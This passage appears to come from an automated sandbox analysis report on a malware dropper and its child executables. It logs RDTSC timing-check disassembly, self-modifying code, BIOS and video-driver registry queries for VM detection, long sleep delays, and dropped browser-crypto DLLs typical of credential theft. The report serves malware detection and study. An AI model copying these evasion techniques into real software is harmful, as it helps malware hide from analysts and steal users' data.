Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1129111 second address: 112919A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F40B477E799h 0x0000000e nop 0x0000000f jmp 00007F40B477E793h 0x00000014 push 00000000h 0x00000016 mov di, E869h 0x0000001a push FDA12128h 0x0000001f jmp 00007F40B477E78Fh 0x00000024 add dword ptr [esp], 025EDF58h 0x0000002b mov dword ptr [ebp+122D2B60h], ebx 0x00000031 push 00000003h 0x00000033 mov ecx, 73011411h 0x00000038 mov si, 9F92h 0x0000003c push 00000000h 0x0000003e jnc 00007F40B477E78Bh 0x00000044 mov edi, 0D22FDEDh 0x00000049 push 00000003h 0x0000004b mov edx, esi 0x0000004d push CD1BDBBCh 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 jo 00007F40B477E786h 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 112919A second address: 112919F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 112919F second address: 11291D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B477E790h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 0D1BDBBCh 0x00000010 sub edx, 6A2CE8A5h 0x00000016 lea ebx, dword ptr [ebp+1244DCCFh] 0x0000001c add edi, dword ptr [ebp+122D2BC2h] 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 jg 00007F40B477E788h 0x0000002b push edi 0x0000002c pop edi 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1148938 second address: 114893E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 114893E second address: 1148976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B477E795h 0x00000009 popad 0x0000000a popad 0x0000000b push ecx 0x0000000c pushad 0x0000000d jmp 00007F40B477E799h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1146A41 second address: 1146A4F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1146A4F second address: 1146A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007F40B477E786h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1146E49 second address: 1146E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1146E51 second address: 1146E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1146E57 second address: 1146E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1146F97 second address: 1146FA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F40B477E786h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1146FA1 second address: 1146FB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jbe 00007F40B515FBF6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 11472AE second address: 11472B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 11472B5 second address: 11472C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jl 00007F40B515FBF6h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 11476B6 second address: 11476BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 11476BA second address: 11476C2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 11476C2 second address: 11476C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 11476C8 second address: 11476CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 11476CC second address: 11476D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1147831 second address: 114783D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F40B515FBFEh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 114783D second address: 114784D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F40B477E78Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 114784D second address: 1147853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1147853 second address: 114785F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F40B477E786h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 114785F second address: 114787F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FC01h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jc 00007F40B515FBF6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 113FE5E second address: 113FE62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 11484F3 second address: 11484FD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F40B515FBF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1148747 second address: 114874D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 114874D second address: 1148751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1148751 second address: 1148755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1148755 second address: 1148774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B515FC06h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1148774 second address: 1148787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B477E78Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1148787 second address: 11487C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F40B515FC08h 0x0000000f jmp 00007F40B515FC07h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 11487C0 second address: 11487CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F40B477E786h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 114BB4D second address: 114BB5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 114BB5C second address: 114BB60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 114BB60 second address: 114BB86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B515FBFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F40B515FC03h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 114BB86 second address: 114BB9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jg 00007F40B477E786h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 114BB9C second address: 114BBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 114BBA1 second address: 114BBA6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 114CD3D second address: 114CD41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	RDTSC instruction interceptor: First address: 1116C08 second address: 1116C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F40B477E786h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3DEB9C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 57E679 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 57E30B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5A760E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6086E0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Special instruction interceptor: First address: FAEA86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Special instruction interceptor: First address: FAC59E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Special instruction interceptor: First address: 1172BF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Special instruction interceptor: First address: 11D36CA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 4FEA86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 4FC59E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6C2BF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7236CA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Special instruction interceptor: First address: A81CC9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Special instruction interceptor: First address: A81C2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Special instruction interceptor: First address: C20BC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Special instruction interceptor: First address: C1FB1A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Special instruction interceptor: First address: A7F1EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Special instruction interceptor: First address: CAB5EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Special instruction interceptor: First address: 19DF01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Special instruction interceptor: First address: 34ADD3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Special instruction interceptor: First address: 376624 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Special instruction interceptor: First address: 1A3335 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Special instruction interceptor: First address: 9FEB9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Special instruction interceptor: First address: B9E679 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Special instruction interceptor: First address: B9E30B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Special instruction interceptor: First address: BC760E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Special instruction interceptor: First address: C286E0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Special instruction interceptor: First address: E01CC9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Special instruction interceptor: First address: E01C2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Special instruction interceptor: First address: FA0BC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Special instruction interceptor: First address: F9FB1A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Special instruction interceptor: First address: DFF1EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Special instruction interceptor: First address: 102B5EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Special instruction interceptor: First address: E9EA86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Special instruction interceptor: First address: E9C59E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Special instruction interceptor: First address: 1062BF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Special instruction interceptor: First address: 10C36CA instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Memory allocated: 5040000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Memory allocated: 52C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Memory allocated: 51E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe

Code function: 4_2_050400EB rdtsc

4_2_050400EB

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 7614			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 892			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7532	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7520	Thread sleep count: 78 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7520	Thread sleep time: -156078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7508	Thread sleep count: 71 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7508	Thread sleep time: -142071s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7616	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7512	Thread sleep count: 79 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7512	Thread sleep time: -158079s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7504	Thread sleep count: 73 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7504	Thread sleep time: -146073s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe TID: 7172	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe TID: 3320	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe TID: 1596	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe TID: 3844	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe TID: 2256	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4456	Thread sleep count: 69 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4456	Thread sleep time: -138069s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3688	Thread sleep count: 68 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3688	Thread sleep time: -136068s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5776	Thread sleep count: 92 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5776	Thread sleep time: -184092s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5300	Thread sleep count: 7614 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5300	Thread sleep time: -15235614s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1196	Thread sleep count: 188 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1196	Thread sleep time: -5640000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3428	Thread sleep count: 85 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3428	Thread sleep time: -170085s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep count: 78 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep time: -156078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5772	Thread sleep count: 88 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5772	Thread sleep time: -176088s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4916	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5300	Thread sleep count: 892 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5300	Thread sleep time: -1784892s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe TID: 1852	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe TID: 7988	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe TID: 3396	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe TID: 2792	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe TID: 5336	Thread sleep time: -240000s >= -30000s
